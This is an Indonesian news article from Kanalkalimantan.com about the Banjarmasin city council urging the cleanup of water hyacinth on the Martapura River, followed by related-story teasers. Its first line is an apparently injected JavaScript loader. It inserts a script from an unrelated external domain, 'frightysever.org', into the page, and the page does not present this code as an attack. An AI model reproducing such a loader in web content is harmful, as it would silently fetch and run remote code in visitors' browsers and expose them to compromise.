(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Eceng gondok atau ilung yang menumpuk di Sungai Martapura menjadi perhatian DPRD Banjarmasin. Jika dibiarkan, ilung akan mengakibatkan akses transportasi di Sungai Martapura terhambat.
Komisi III DPRD Kota Banjarmasin Muhammad Isnaini mengatakan, permasalahan ilung tersebut harus segera ditanggulangi. “Kalau memang ada ilung dalam jumlah yang banyak, saya kira harus segera mungkin ditanggulangi. Pakai kapal sapu-sapu,” kata Isnaini kepada Kanalkalimantan.com, Jumat (3/1) siang.
Yang menjadi masalah, saat ini Pemko Banjarmasin tidak memiliki kapal sapu-sapu. Dewan dari fraksi Partai Gerindra ini mengatakan hal ini adalah masalah teknis. ” Kami dari dewan ini hanya berkenaan dengan anggaran dan regulasi, kalau teknis ini memang dari Pemko,” ujarnya.
Sebelumnya memang sudah dijelaskan Walikota Banjarmasin Ibnu Sina bahwa pihaknya belum bisa menyediakan kapal sapu-sapu karena biaya yang terlalu besar. Kendati demikian, Isnaini menyarankan untuk sementara menanggulangi ilung tersebut dengan tenaga manusia.
“Kegiatan padat karya saja sebetulnya, diangkut (ilung) ke pinggiran sungai terus dibuang ke TPA (tempat pembuangan akhir). Atau kalau memang memungkinkan Dinas PUPR bisa saja menggunakan eksapator,” tambahnya.
Dari pantauan Kanalkalimantan.com, sejauh ini pembersihan ilung hanya dilakukan oleh pasukan Turbo yang terdiri dari 57 orang dengan bantuan tongkat bambu. Sebenarnya setiap tahun di penghujung musim hujan tumpukan ilung di Sungai Martapura ini memang selalu menjadi masalah. Lantas apakah tidak ada upaya antisipasi?
“Ini sebuah hal yang nanti menjadi catatan Dewan juga, bahwa masalah ini berulang-ulang, sesuatu yang seharusnya dipikirkan dari awal bagaimana penanggulangan terkait masalah ini. Setiap tahun memang pekerjaan ini selalu dilakukan, dan selalu pakai kapal sapu-sapu,” katanya.
Dari berita sebelumnya, Kepala Bidang Sungai Dinas PUPR Hizbulwathoni mengatakan pihaknya sudah menghubungi operator kapal sapu-sapu untuk bantuan pembersihan sampah berikut ilung. Sementara Komisi III DPRD Kota Banjarmasin mengatakan, dalam waktu satu atau dua hari ke depan akan melakukan peninjauan, khususnya di Jembatan Sudiampir. (Riki)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.